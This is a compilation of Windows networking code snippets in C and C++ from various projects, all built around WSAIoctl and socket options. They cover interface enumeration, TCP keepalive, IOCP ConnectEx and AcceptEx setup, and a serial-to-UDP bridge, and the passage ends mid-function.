// 打开串口 //************************************ // Method: OnOpenCom // FullName: CTabUartToUdp::OnOpenCom // Access: public // Returns: void // Qualifier: // Parameter: void //************************************ void CTabUartToUdp::OnOpenCom(void) { // UpdateData(TRUE); // CString str; // m_comboSerialPortCom.GetWindowText(str); // hCom =CreateFile( str, GENERIC_READ | GENERIC_WRITE/*允许读写*/, // 0/*此项必须为0*/,NULL/*no security attrs*/, // OPEN_EXISTING/*设置产生方式*/, // 0/*使用同步通信*/, // NULL ); // // if(hCom!=INVALID_HANDLE_VALUE) // 检测打开串口操作是否成功 // { // AfxMessageBox(_T("Open Serial Port Successful!")); // } // else // { // AfxMessageBox(_T("Serial Port COM Nb is Invalid!")); // return; // } // // // SetupComm( hCom, 1024,1024); // 设置输入、输出缓冲区的大小 // // PurgeComm( hCom, PURGE_TXABORT | PURGE_RXABORT | PURGE_TXCLEAR| PURGE_RXCLEAR ); // 清干净输入、输出缓冲区 // // LPCOMMTIMEOUTS lpCommTimeouts = new COMMTIMEOUTS;//(LPCOMMTIMEOUTS)malloc(sizeof(LPCOMMTIMEOUTS)); // lpCommTimeouts->ReadIntervalTimeout=MAXDWORD; // 读间隔超时 // lpCommTimeouts->ReadTotalTimeoutMultiplier=0; // 读时间系数 // lpCommTimeouts->ReadTotalTimeoutConstant=0; // 读时间常量 // lpCommTimeouts->WriteTotalTimeoutMultiplier=50; // 写时间系数 // lpCommTimeouts->WriteTotalTimeoutConstant=2000; // 写时间常量 // //加入读取和写入延时以避免同步通信过程中的线程阻塞情况 // // SetCommTimeouts(hCom, lpCommTimeouts); // // DCB dcb ; // 定义数据控制块结构 // // GetCommState(hCom, &dcb ) ; //读串口原来的参数设置 // // dcb.BaudRate = OnGetSerialPortBaud(); // dcb.ByteSize = 8; // dcb.Parity = NOPARITY; // dcb.StopBits = ONESTOPBIT ; // dcb.fBinary = TRUE ; // dcb.fParity = FALSE; // // SetCommState(hCom, &dcb ) ; //串口参数配置 // // int iRecPort; // GetDlgItem(IDC_EDIT_PORT_REC)->GetWindowText(str); // 0x9002 // sscanf_s(str,"%x", &iRecPort); // // 创建Socket // m_socketUartToUdp.Create(iRecPort,SOCK_DGRAM); // m_socketUartToUdp.SetSockOpt(SO_RCVBUF,&m_socketUartToUdp,UartToUDPBufSize,SOL_SOCKET); // m_socketUartToUdp.SetSockOpt(SO_SNDBUF,&m_socketUartToUdp,UartToUDPBufSize,SOL_SOCKET); int iPort = 0; int iBaud = 0; CString str = _T(""); if(m_ctrlMSComm1.get_PortOpen()) { m_ctrlMSComm1.put_PortOpen(FALSE); m_socketUartToUdp.Close(); } UpdateData(TRUE); iPort = OnGetSerialPortCom(); iBaud = OnGetSerialPortBaud(); m_ctrlMSComm1.put_CommPort(iPort); str.Format(_T("%d,n,8,1"), iBaud); m_ctrlMSComm1.put_Settings(str); if(!m_ctrlMSComm1.get_PortOpen()) { m_ctrlMSComm1.put_PortOpen(TRUE); m_socketUartToUdp.m_pctrlMSComm1 = &m_ctrlMSComm1; GetDlgItem(IDC_EDIT_PORT_REC)->GetWindowText(str); // 0x9002 sscanf_s(str,"%x", &m_uiRecPort); m_uiSerialPortComCurSel = m_comboSerialPortCom.GetCurSel(); m_uiSerialPortBaudCurSel = m_comboSerialPortBaud.GetCurSel(); BOOL bReturn = FALSE; // 创建Socket bReturn = m_socketUartToUdp.Create(m_uiRecPort,SOCK_DGRAM); if (bReturn == FALSE) { AfxMessageBox(_T("UDP转串口端口创建失败!")); } else { bReturn = m_socketUartToUdp.SetSockOpt(SO_SNDBUF,&m_socketUartToUdp,UartToUDPBufSize,SOL_SOCKET); if (bReturn == FALSE) { AfxMessageBox(_T("UDP转串口端口设置发送缓冲区设置失败!")); } bReturn = m_socketUartToUdp.SetSockOpt(SO_RCVBUF,&m_socketUartToUdp,UartToUDPBufSize,SOL_SOCKET); if (bReturn == FALSE) { AfxMessageBox(_T("UDP转串口端口设置接收缓冲区设置失败!")); } DWORD dwBytesReturned = 0; BOOL bNewBehavior = FALSE; DWORD status = 0; status = WSAIoctl(m_socketUartToUdp, SIO_UDP_CONNRESET , &bNewBehavior, sizeof(bNewBehavior), NULL, 0, &dwBytesReturned, NULL, NULL); } ControlDisable(); AfxMessageBox(_T("Open Serial Port Successful!")); } KillTimer(TabUartToUdpRecTimerNb); SetTimer(TabUartToUdpRecTimerNb, TabUartToUdpRecTimerSet, NULL); }
// adzm 2010-08 VBool VSocket::SetDefaultSocketOptions() { VBool result = VTrue; const int one = 1; if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&one, sizeof(one))) { result = VFalse; } int defaultSocketKeepAliveTimeout = m_defaultSocketKeepAliveTimeout; if (defaultSocketKeepAliveTimeout > 0) { if (setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (const char *)&one, sizeof(one))) { result = VFalse; } else { DWORD bytes_returned = 0; tcp_keepalive keepalive_requested; tcp_keepalive keepalive_returned; ZeroMemory(&keepalive_requested, sizeof(keepalive_requested)); ZeroMemory(&keepalive_returned, sizeof(keepalive_returned)); keepalive_requested.onoff = 1; keepalive_requested.keepalivetime = defaultSocketKeepAliveTimeout; keepalive_requested.keepaliveinterval = 1000; // 10 probes always used by default in Vista+; not changeable. if (0 != WSAIoctl(sock, SIO_KEEPALIVE_VALS, &keepalive_requested, sizeof(keepalive_requested), &keepalive_returned, sizeof(keepalive_returned), &bytes_returned, NULL, NULL)) { result = VFalse; } } } assert(result); { sockaddr_in skaddr={0}; int iSockSize=sizeof(sockaddr_in); //initialise socket row value getsockname(sock,(sockaddr*)&skaddr,&iSockSize); m_SocketInfo.dwState =MIB_TCP_STATE_ESTAB; m_SocketInfo.dwLocalAddr=skaddr.sin_addr.S_un.S_addr; m_SocketInfo.dwLocalPort=skaddr.sin_port; getpeername(sock,(sockaddr*)&skaddr,&iSockSize); m_SocketInfo.dwRemoteAddr=skaddr.sin_addr.S_un.S_addr; m_SocketInfo.dwRemotePort=skaddr.sin_port; PUCHAR rw = NULL; TCP_ESTATS_SND_CONG_RW_v0 enableInfo={0}; ULONG iRet, lSize = 0; //enable tcp stats rw = (PUCHAR) & enableInfo; enableInfo.EnableCollection=TRUE; lSize = sizeof (TCP_ESTATS_SND_CONG_RW_v0); if (s_pSetPerTcpConnectionEStats) { iRet = s_pSetPerTcpConnectionEStats((PMIB_TCPROW) &m_SocketInfo, TcpConnectionEstatsSndCong, rw, 0, lSize, 0); CanUseFlow=false; if (iRet==ERROR_SUCCESS) CanUseFlow=true; } else CanUseFlow=true; } return result; }
isc_result_t isc_interfaceiter_create(isc_mem_t *mctx, isc_interfaceiter_t **iterp) { char strbuf[ISC_STRERRORSIZE]; isc_interfaceiter_t *iter; isc_result_t result; int error; unsigned long bytesReturned = 0; REQUIRE(iterp != NULL); REQUIRE(*iterp == NULL); iter = isc_mem_get(mctx, sizeof(*iter)); if (iter == NULL) return (ISC_R_NOMEMORY); iter->mctx = mctx; iter->buf = NULL; /* * Create an unbound datagram socket to do the * SIO_GET_INTERFACE_LIST WSAIoctl on. */ if ((iter->socket = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { error = WSAGetLastError(); isc__strerror(error, strbuf, sizeof(strbuf)); UNEXPECTED_ERROR(__FILE__, __LINE__, "making interface scan socket: %s", strbuf); result = ISC_R_UNEXPECTED; goto socket_failure; } /* * Get the interface configuration, allocating more memory if * necessary. */ iter->bufsize = IFCONF_SIZE_INITIAL*sizeof(INTERFACE_INFO); for (;;) { iter->buf = isc_mem_get(mctx, iter->bufsize); if (iter->buf == NULL) { result = ISC_R_NOMEMORY; goto alloc_failure; } if (WSAIoctl(iter->socket, SIO_GET_INTERFACE_LIST, 0, 0, iter->buf, iter->bufsize, &bytesReturned, 0, 0) == SOCKET_ERROR) { error = WSAGetLastError(); if (error != WSAEFAULT && error != WSAENOBUFS) { errno = error; isc__strerror(error, strbuf, sizeof(strbuf)); UNEXPECTED_ERROR(__FILE__, __LINE__, "get interface configuration: %s", strbuf); result = ISC_R_UNEXPECTED; goto ioctl_failure; } /* * EINVAL. Retry with a bigger buffer. */ } else { /* * The WSAIoctl succeeded. * If the number of the returned bytes is the same * as the buffer size, we will grow it just in * case and retry. */ if (bytesReturned > 0 && (bytesReturned < iter->bufsize)) break; } if (iter->bufsize >= IFCONF_SIZE_MAX*sizeof(INTERFACE_INFO)) { UNEXPECTED_ERROR(__FILE__, __LINE__, "get interface configuration: " "maximum buffer size exceeded"); result = ISC_R_UNEXPECTED; goto ioctl_failure; } isc_mem_put(mctx, iter->buf, iter->bufsize); iter->bufsize += IFCONF_SIZE_INCREMENT * sizeof(INTERFACE_INFO); } /* * A newly created iterator has an undefined position * until isc_interfaceiter_first() is called. */ iter->pos = NULL; iter->result = ISC_R_FAILURE; iter->numIF = 0; iter->totalIF = bytesReturned/sizeof(INTERFACE_INFO); iter->magic = IFITER_MAGIC; *iterp = iter; /* We don't need the socket any more, so close it */ closesocket(iter->socket); return (ISC_R_SUCCESS); ioctl_failure: isc_mem_put(mctx, iter->buf, iter->bufsize); alloc_failure: (void) closesocket(iter->socket); socket_failure: isc_mem_put(mctx, iter, sizeof(*iter)); return (result); }
static int localinfo0(su_localinfo_t const *hints, su_localinfo_t **rresult) { /* This is Windows IPv4 code */ short family = AF_INET; su_socket_t s; union { SOCKET_ADDRESS_LIST sal[1]; #if HAVE_INTERFACE_INFO_EX INTERFACE_INFO_EX ii[1]; #else INTERFACE_INFO ii[1]; #endif char buffer[2048]; } b = {{ 1 }}; DWORD salen = sizeof(b); int i, error = -1; #if SU_HAVE_IN6 int v4_mapped = (hints->li_flags & LI_V4MAPPED) != 0; #endif su_localinfo_t *li, *head = NULL, **next = &head; char *canonname = NULL, *if_name = NULL; *rresult = NULL; s = su_socket(family, SOCK_DGRAM, 0); if (s == INVALID_SOCKET) { SU_DEBUG_1(("su_getlocalinfo: %s: %s\n", "su_socket", su_strerror(su_errno()))); return -1; } /* get the list of known IP address (NT5 and up) */ if (WSAIoctl(s, SIO_ADDRESS_LIST_QUERY, NULL, 0, &b, sizeof(b), &salen, NULL, NULL) == SOCKET_ERROR) { SU_DEBUG_1(("su_getlocalinfo: %s: %s\n", "SIO_ADDRESS_LIST_QUERY", su_strerror(su_errno()))); error = -1; goto err; } if (b.sal->iAddressCount < 1) { SU_DEBUG_1(("su_getlocalinfo: no local addresses\n")); error = -1; goto err; } for (i = 0; i < b.sal->iAddressCount; i++) { su_sockaddr_t *su = (su_sockaddr_t *)b.sal->Address[i].lpSockaddr; #if SU_HAVE_IN6 socklen_t sulen = v4_mapped ? sizeof(*su) : b.sal->Address[i].iSockaddrLength; su_sockaddr_t su2[1]; #else socklen_t sulen = b.sal->Address[i].iSockaddrLength; #endif int scope, flags = 0, gni_flags = 0; scope = li_scope4(su->su_sin.sin_addr.s_addr); if (hints->li_scope && (hints->li_scope & scope) == 0) continue; if (scope == LI_SCOPE_HOST || scope == LI_SCOPE_LINK) gni_flags = NI_NUMERICHOST; if (!(li = calloc(1, sizeof(*li) + sulen))) { SU_DEBUG_1(("su_getlocalinfo: memory exhausted\n")); error = -1; goto err; } *next = li, next = &li->li_next; #if SU_HAVE_IN6 if (v4_mapped) { /* Map IPv4 address to IPv6 address */ memset(su2, 0, sizeof(*su2)); su2->su_family = AF_INET6; ((int32_t*)&su2->su_sin6.sin6_addr)[2] = htonl(0xffff); ((int32_t*)&su2->su_sin6.sin6_addr)[3] = su->su_sin.sin_addr.s_addr; su = su2; } #endif if ((error = li_name(hints, gni_flags, su, &canonname)) < 0) goto err; else if (error > 0) continue; if (canonname) if (strchr(canonname, ':') || strspn(canonname, "0123456789.") == strlen(canonname)) flags |= LI_NUMERIC; li->li_flags = flags; li->li_family = su->su_family; li->li_scope = scope; li->li_index = i; li->li_addrlen = su_sockaddr_size(su); li->li_addr = su; li->li_canonname = canonname, canonname = NULL; if (hints->li_flags & LI_IFNAME) li->li_ifname = if_name; li->li_addr = (su_sockaddr_t *)(li + 1); li->li_addrlen = sulen; memcpy(li->li_addr, su, sulen); } *rresult = head; su_close(s); return 0; err: if (canonname) free(canonname); su_freelocalinfo(head); su_close(s); return error; }
std::vector<ip_interface> enum_net_interfaces(io_service& ios, error_code& ec) { std::vector<ip_interface> ret; #if P2ENGINE_USE_IFADDRS int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { ec = error_code(errno, asio::error::system_category); return ret; } ifaddrs *ifaddr; if (getifaddrs(&ifaddr) == -1) { ec = error_code(errno, asio::error::system_category); close(s); return ret; } for (ifaddrs* ifa = ifaddr; ifa; ifa = ifa->ifa_next) { if (ifa->ifa_addr == 0) continue; if ((ifa->ifa_flags & IFF_UP) == 0) continue; int family = ifa->ifa_addr->sa_family; if (family == AF_INET #if P2ENGINE_USE_IPV6 || family == AF_INET6 #endif ) { ip_interface iface; if (iface_from_ifaddrs(ifa, iface, ec)) { ifreq req; memset(&req, 0, sizeof(req)); // -1 to leave a null terminator strncpy(req.ifr_name, iface.name, IF_NAMESIZE - 1); if (ioctl(s, SIOCGIFMTU, &req) < 0) { continue; } iface.mtu = req.ifr_mtu; std::memcpy(iface.mac,req.ifr_hwaddr.sa_data,6); ret.push_back(iface); } } } close(s); freeifaddrs(ifaddr); // MacOS X, BSD and solaris #elif P2ENGINE_USE_IFCONF int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { ec = error_code(errno, asio::error::system_category); return ret; } ifconf ifc; char buf[1024]; ifc.ifc_len = sizeof(buf); ifc.ifc_buf = buf; if (ioctl(s, SIOCGIFCONF, &ifc) < 0) { ec = error_code(errno, asio::error::system_category); close(s); return ret; } char *ifr = (char*)ifc.ifc_req; int remaining = ifc.ifc_len; while (remaining) { ifreq const& item = *reinterpret_cast<ifreq*>(ifr); if (item.ifr_addr.sa_family == AF_INET #if P2ENGINE_USE_IPV6 || item.ifr_addr.sa_family == AF_INET6 #endif ) { ip_interface iface; iface.interface_address = sockaddr_to_address(&item.ifr_addr); strcpy(iface.name, item.ifr_name); ifreq req; memset(&req, 0, sizeof(req)); // -1 to leave a null terminator strncpy(req.ifr_name, item.ifr_name, IF_NAMESIZE - 1); if (ioctl(s, SIOCGIFMTU, &req) < 0) { ec = error_code(errno, asio::error::system_category); close(s); return ret; } iface.mtu = req.ifr_mtu; std::memcpy(iface.mac,item.ifr_hwaddr.sa_data,6); memset(&req, 0, sizeof(req)); strncpy(req.ifr_name, item.ifr_name, IF_NAMESIZE - 1); if (ioctl(s, SIOCGIFNETMASK, &req) < 0) { #if P2ENGINE_USE_IPV6 if (iface.interface_address.is_v6()) { // this is expected to fail (at least on MacOS X) iface.netmask = address_v6::any(); } else #endif { ec = error_code(errno, asio::error::system_category); close(s); return ret; } } else { iface.netmask = sockaddr_to_address(&req.ifr_addr, item.ifr_addr.sa_family); } ret.push_back(iface); } #if defined BSD_BASED_OS int current_size = item.ifr_addr.sa_len + IFNAMSIZ; #else int current_size = sizeof(ifreq); #endif ifr += current_size; remaining -= current_size; } close(s); #elif P2ENGINE_USE_GETADAPTERSADDRESSES #if _WIN32_WINNT >= 0x0501 // Load Iphlpapi library HMODULE iphlp = LoadLibraryA("Iphlpapi.dll"); if (iphlp) { // Get GetAdaptersAddresses() pointer typedef ULONG (WINAPI *GetAdaptersAddresses_t)(ULONG,ULONG,PVOID,PIP_ADAPTER_ADDRESSES,PULONG); GetAdaptersAddresses_t GetAdaptersAddresses = (GetAdaptersAddresses_t)GetProcAddress( iphlp, "GetAdaptersAddresses"); if (GetAdaptersAddresses) { printf("----!!!!!!!!!!!!!!!!!!!!!!!!!!!!------------------\n"); PIP_ADAPTER_ADDRESSES adapter_addresses = 0; ULONG out_buf_size = 0; if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_ANYCAST, NULL, adapter_addresses, &out_buf_size) != ERROR_BUFFER_OVERFLOW) { FreeLibrary(iphlp); ec = asio::error::operation_not_supported; return std::vector<ip_interface>(); } adapter_addresses = (IP_ADAPTER_ADDRESSES*)malloc(out_buf_size); if (!adapter_addresses) { FreeLibrary(iphlp); ec = asio::error::no_memory; return std::vector<ip_interface>(); } if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_ANYCAST, NULL, adapter_addresses, &out_buf_size) == NO_ERROR) { for (PIP_ADAPTER_ADDRESSES adapter = adapter_addresses; adapter != 0; adapter = adapter->Next) { if (adapter->PhysicalAddressLength==6) { ip_interface r; strncpy(r.name, adapter->AdapterName, sizeof(r.name)); r.name[sizeof(r.name)-1] = 0; r.mtu = adapter->Mtu; std::memcpy(r.mac,adapter->PhysicalAddress,6); IP_ADAPTER_UNICAST_ADDRESS* unicast = adapter->FirstUnicastAddress; while (unicast) { r.interface_address = sockaddr_to_address(unicast->Address.lpSockaddr); ret.push_back(r); unicast = unicast->Next; } } } } // Free memory free(adapter_addresses); FreeLibrary(iphlp); return ret; } FreeLibrary(iphlp); } #endif SOCKET s = socket(AF_INET, SOCK_DGRAM, 0); if (s == SOCKET_ERROR) { ec = error_code(WSAGetLastError(), asio::error::system_category); return ret; } INTERFACE_INFO buffer[30]; DWORD size; if (WSAIoctl(s, SIO_GET_INTERFACE_LIST, 0, 0, buffer, sizeof(buffer), &size, 0, 0) != 0) { ec = error_code(WSAGetLastError(), asio::error::system_category); closesocket(s); return ret; } closesocket(s); int n = size / sizeof(INTERFACE_INFO); ip_interface iface; for (int i = 0; i < n; ++i) { iface.interface_address = sockaddr_to_address(&buffer[i].iiAddress.Address); if (iface.interface_address == address_v4::any()) continue; iface.netmask = sockaddr_to_address(&buffer[i].iiNetmask.Address , iface.interface_address.is_v4() ? AF_INET : AF_INET6); iface.name[0] = 0; std::memset(iface.mac,0,6);//how to get the MAC? iface.mtu = 1500; // how to get the MTU? ret.push_back(iface); } #else #error THIS OS IS NOT RECOGNIZED, enum_net_interfaces WILL PROBABLY NOT WORK // make a best guess of the interface we're using and its IP udp::resolver r(ios); udp::resolver::iterator i = r.resolve(udp::resolver::query(asio::ip::host_name(ec), "0"), ec); if (ec) return ret; ip_interface iface; for (;i != udp::resolver_iterator(); ++i) { iface.interface_address = i->endpoint().address(); iface.mtu = 1500; if (iface.interface_address.is_v4()) iface.netmask = address_v4::netmask(iface.interface_address.to_v4()); ret.push_back(iface); } #endif return ret; }
/* global init * return TRUE -- success, else error */ BOOL CommIOCPInit( VOID ) { INT Err, LastError; DWORD Bytes; SOCKET Socket; IN_ADDR addr; GUID ConnectexGUID = WSAID_CONNECTEX; GUID AcceptExGUID = WSAID_ACCEPTEX; GUID GetAcceptExSockaddrsGUID = WSAID_GETACCEPTEXSOCKADDRS; addr.s_addr = INADDR_ANY; Socket = CommIOCPCreateSocket(addr, 0, 0, COMM_TCP, FALSE); if (Socket == INVALID_SOCKET) { return (FALSE); } Err = WSAIoctl(Socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &ConnectexGUID, sizeof(ConnectexGUID), &ConnectExPtr, sizeof(ConnectExPtr), &Bytes, NULL, NULL); LastError = WSAGetLastError(); closesocket(Socket); if (Err == SOCKET_ERROR || !ConnectExPtr) { LOG_ERROR("Get ConnectEx failed [%d]", LastError); return (FALSE); } for (int i = 10000; i < 65535; i++) { Socket = CommIOCPCreateSocket(addr, i, 10, COMM_TCP, FALSE); if (Socket != INVALID_SOCKET) { break; } } Err = WSAIoctl(Socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &AcceptExGUID, sizeof(AcceptExGUID), &AcceptExPtr, sizeof(AcceptExPtr), &Bytes, NULL, NULL); LastError = WSAGetLastError(); if (Err == SOCKET_ERROR || !AcceptExPtr) { LOG_ERROR("Get AcceptEx failed [%d]", LastError); closesocket(Socket); return (FALSE); } Err = WSAIoctl(Socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &GetAcceptExSockaddrsGUID, sizeof(GetAcceptExSockaddrsGUID), &GetAcceptExSockAddrsPtr, sizeof(GetAcceptExSockAddrsPtr), &Bytes, NULL, NULL); LastError = WSAGetLastError(); closesocket(Socket); if (Err == SOCKET_ERROR || !GetAcceptExSockAddrsPtr) { LOG_ERROR("Get GetAcceptExSockAddrs failed [%d]", LastError); return (FALSE); } return (TRUE); }
/*! \internal Returns the value of the socket option \a opt. */ int QNativeSocketEnginePrivate::option(QNativeSocketEngine::SocketOption opt) const { Q_Q(const QNativeSocketEngine); if (!q->isValid()) return -1; int n = -1; int level = SOL_SOCKET; // default switch (opt) { case QNativeSocketEngine::ReceiveBufferSocketOption: n = SO_RCVBUF; break; case QNativeSocketEngine::SendBufferSocketOption: n = SO_SNDBUF; break; case QNativeSocketEngine::BroadcastSocketOption: n = SO_BROADCAST; break; case QNativeSocketEngine::NonBlockingSocketOption: { unsigned long buf = 0; if (WSAIoctl(socketDescriptor, FIONBIO, 0,0, &buf, sizeof(buf), 0,0,0) == 0) return buf; else return -1; break; } case QNativeSocketEngine::AddressReusable: n = SO_REUSEADDR; break; case QNativeSocketEngine::BindExclusively: n = SO_EXCLUSIVEADDRUSE; break; case QNativeSocketEngine::ReceiveOutOfBandData: n = SO_OOBINLINE; break; case QNativeSocketEngine::LowDelayOption: level = IPPROTO_TCP; n = TCP_NODELAY; break; case QNativeSocketEngine::KeepAliveOption: n = SO_KEEPALIVE; break; case QNativeSocketEngine::MulticastTtlOption: #ifndef QT_NO_IPV6 if (socketProtocol == QAbstractSocket::IPv6Protocol) { level = IPPROTO_IPV6; n = IPV6_MULTICAST_HOPS; } else #endif { level = IPPROTO_IP; n = IP_MULTICAST_TTL; } break; case QNativeSocketEngine::MulticastLoopbackOption: #ifndef QT_NO_IPV6 if (socketProtocol == QAbstractSocket::IPv6Protocol) { level = IPPROTO_IPV6; n = IPV6_MULTICAST_LOOP; } else #endif { level = IPPROTO_IP; n = IP_MULTICAST_LOOP; } break; } #if Q_BYTE_ORDER != Q_LITTLE_ENDIAN #error code assumes windows is little endian #endif int v = 0; //note: windows doesn't write to all bytes if the option type is smaller than int QT_SOCKOPTLEN_T len = sizeof(v); if (getsockopt(socketDescriptor, level, n, (char *) &v, &len) == 0) return v; WS_ERROR_DEBUG(WSAGetLastError()); return -1; }
int IOCPNetwork::connect(iocp_key_t key, sockaddr* addr, byte* buf, size_t len, size_t timeout, iocp_proc_t func, void* param) { if( !_inited ) return IOCP_UNINITIALIZED; iocp_context_t* context = reinterpret_cast<iocp_context_t*>(key); assert(IOCP_HANDLE_SOCKET == context->type); /* * 取得ConnectEx函数指针 */ SOCKET s = reinterpret_cast<SOCKET>(context->h); DWORD dwBytesReceived = 0; GUID GuidConnectEx = WSAID_CONNECTEX; LPFN_CONNECTEX lpfnConnectEx = NULL; DWORD dwBytes = 0; if( 0 != WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidConnectEx, sizeof(GuidConnectEx), &lpfnConnectEx, sizeof(lpfnConnectEx), &dwBytes, NULL, NULL) ) { assert(0); _lastErrorCode = WSAGetLastError(); return IOCP_UNDEFINED; } /* * 执行ConnectEx */ int ret = IOCP_PENDING; DWORD bytesSent = 0; if(context->lockPtr) context->lockPtr->rlock(); if(context->status != IOCP_NORMAL) { ret = context->status; } else if(sessionTimeout(context)) { ret = IOCP_SESSIONTIMEO; } else { assert(context->writeOlp.oppType == IOCP_NONE); context->writeOlp.oppType = IOCP_CONNECT; context->writeOlp.buf = buf; context->writeOlp.len = len; context->writeOlp.iocpProc = func; context->writeOlp.param = param; context->writeOlp.realLen = len; context->writeOlp.timeout = timeout; if(timeout > 0) { context->writeOlp.timer = _timerQueue.createTimer(timeout, writeTimeoutProc, context); } if( !lpfnConnectEx(s, addr, sizeof(sockaddr), buf, len, &bytesSent, reinterpret_cast<LPOVERLAPPED>(&context->writeOlp)) ) { int errorCode = WSAGetLastError(); if( WSA_IO_PENDING != errorCode ) { assert(0); _lastErrorCode = errorCode; ret = IOCP_UNDEFINED; } } else { assert(0); ret = IOCP_UNDEFINED; } /* * 调用失败,清除标志回收资源 */ if(ret != IOCP_PENDING) { cleanOlp(&context->writeOlp); } } if(context->lockPtr) context->lockPtr->unlock(); return ret; }
int uv_poll_init_socket(uv_loop_t* loop, uv_poll_t* handle, uv_os_sock_t socket) { WSAPROTOCOL_INFOW protocol_info; int len; SOCKET peer_socket, base_socket; DWORD bytes; /* Try to obtain a base handle for the socket. This increases this chances */ /* that we find an AFD handle and are able to use the fast poll mechanism. */ /* This will always fail on windows XP/2k3, since they don't support the */ /* SIO_BASE_HANDLE ioctl. */ #ifndef NDEBUG base_socket = INVALID_SOCKET; #endif if (WSAIoctl(socket, SIO_BASE_HANDLE, NULL, 0, &base_socket, sizeof base_socket, &bytes, NULL, NULL) == 0) { assert(base_socket != 0 && base_socket != INVALID_SOCKET); socket = base_socket; } uv__handle_init(loop, (uv_handle_t*) handle, UV_POLL); handle->socket = socket; handle->events = 0; /* Obtain protocol information about the socket. */ len = sizeof protocol_info; if (getsockopt(socket, SOL_SOCKET, SO_PROTOCOL_INFOW, (char*) &protocol_info, &len) != 0) { uv__set_sys_error(loop, WSAGetLastError()); return -1; } /* Get the peer socket that is needed to enable fast poll. If the returned */ /* value is NULL, the protocol is not implemented by MSAFD and we'll have */ /* to use slow mode. */ peer_socket = uv__fast_poll_get_peer_socket(loop, &protocol_info); if (peer_socket != INVALID_SOCKET) { /* Initialize fast poll specific fields. */ handle->peer_socket = peer_socket; } else { /* Initialize slow poll specific fields. */ handle->flags |= UV_HANDLE_POLL_SLOW; } /* Intialize 2 poll reqs. */ handle->submitted_events_1 = 0; uv_req_init(loop, (uv_req_t*) &(handle->poll_req_1)); handle->poll_req_1.type = UV_POLL_REQ; handle->poll_req_1.data = handle; handle->submitted_events_2 = 0; uv_req_init(loop, (uv_req_t*) &(handle->poll_req_2)); handle->poll_req_2.type = UV_POLL_REQ; handle->poll_req_2.data = handle; return 0; }
int IOCPNetwork::accept(iocp_key_t key, SOCKET sockNew, byte* buf, size_t len, size_t timeout, iocp_proc_t func, void* param) { if( !_inited ) return IOCP_UNINITIALIZED; if(len < (sizeof(sockaddr_in) + 16) * 2) return IOCP_BUFFERROR; /* 缓冲区长度不够 */ iocp_context_t* context = reinterpret_cast<iocp_context_t*>(key); assert(IOCP_HANDLE_SOCKET == context->type); /* * 获得AcceptEx()函数指针并调用之,参考MSDN关于AcceptEx的示例代码. */ SOCKET sockListen = reinterpret_cast<SOCKET>(context->h); DWORD dwBytesReceived = 0; GUID GuidAcceptEx = WSAID_ACCEPTEX; LPFN_ACCEPTEX lpfnAcceptEx = NULL; DWORD dwBytes = 0; if( 0 != WSAIoctl(sockListen, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidAcceptEx, sizeof(GuidAcceptEx), &lpfnAcceptEx, sizeof(lpfnAcceptEx), &dwBytes, NULL, NULL) ) { assert(0); _lastErrorCode = WSAGetLastError(); return IOCP_UNDEFINED; } /* * 设置标记,然后调用AcceptEx,加锁以确保同步正确 * 由于发送和接收分别对应不同的重叠结构,所以可以用读写锁同时进行,只要套接字状态正常. */ int ret = IOCP_PENDING; if(context->lockPtr) context->lockPtr->rlock(); if(context->status != IOCP_NORMAL) { ret = context->status; } else if(sessionTimeout(context)) { ret = IOCP_SESSIONTIMEO; } else { /* assert检查:不要同时投递多个同类型的操作,由程序逻辑确保这一点,而不用同步量以提高并发量,否则只能用互斥锁了. */ assert(context->readOlp.oppType == IOCP_NONE); context->readOlp.oppType = IOCP_ACCEPT; context->readOlp.buf = buf; context->readOlp.len = len; context->readOlp.realLen = len; context->readOlp.iocpProc = func; context->readOlp.param = param; context->readOlp.timeout = timeout; if(timeout > 0) { /* 先创建定时器,acceptEx失败再删除是有必要的,尤其是在没有同步的情况下 */ context->readOlp.timer = _timerQueue.createTimer(timeout, readTimeoutProc, context); } if( !lpfnAcceptEx(sockListen, sockNew, buf, len - (sizeof(sockaddr_in) + 16) * 2 , sizeof(sockaddr_in) + 16, sizeof(sockaddr_in) + 16, &dwBytesReceived, reinterpret_cast<LPOVERLAPPED>(&context->readOlp)) ) { if( WSA_IO_PENDING != WSAGetLastError()) { assert(0); _lastErrorCode = WSAGetLastError(); ret = IOCP_UNDEFINED; } } else { assert(0); ret = IOCP_UNDEFINED; } /* * 调用失败,清除标志回收资源 */ if(ret != IOCP_PENDING) { cleanOlp(&context->readOlp); } } if(context->lockPtr) context->lockPtr->unlock(); return ret; }
HRESULT CInterface::Initialize ( ) { SOCKET sock ; DWORD retval ; WSADATA wsadata ; ULONG size ; // can't initialize twice if (m_pNIC) { return HRESULT_FROM_WIN32 (ERROR_GEN_FAILURE) ; } // initialize local variables sock = INVALID_SOCKET ; m_hHeap = GetProcessHeap () ; if (m_hHeap == NULL) { retval = GetLastError () ; return HRESULT_FROM_WIN32 (retval) ; } if (WSAStartup (MAKEWORD(2, 0), & wsadata)) { retval = WSAGetLastError () ; return HRESULT_FROM_WIN32 (retval) ; } sock = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, NULL) ; if (sock == INVALID_SOCKET) { retval = WSAGetLastError () ; goto error ; } for (m_cNIC = NUM_NIC_FIRST_GUESS;; m_cNIC++) { size = m_cNIC * sizeof INTERFACE_INFO ; __try { m_pNIC = reinterpret_cast <INTERFACE_INFO *> (m_pNIC ? HeapReAlloc (m_hHeap, HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, m_pNIC, size) : HeapAlloc (m_hHeap, HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, size)) ; } __except (EXCEPTION_EXECUTE_HANDLER) { retval = 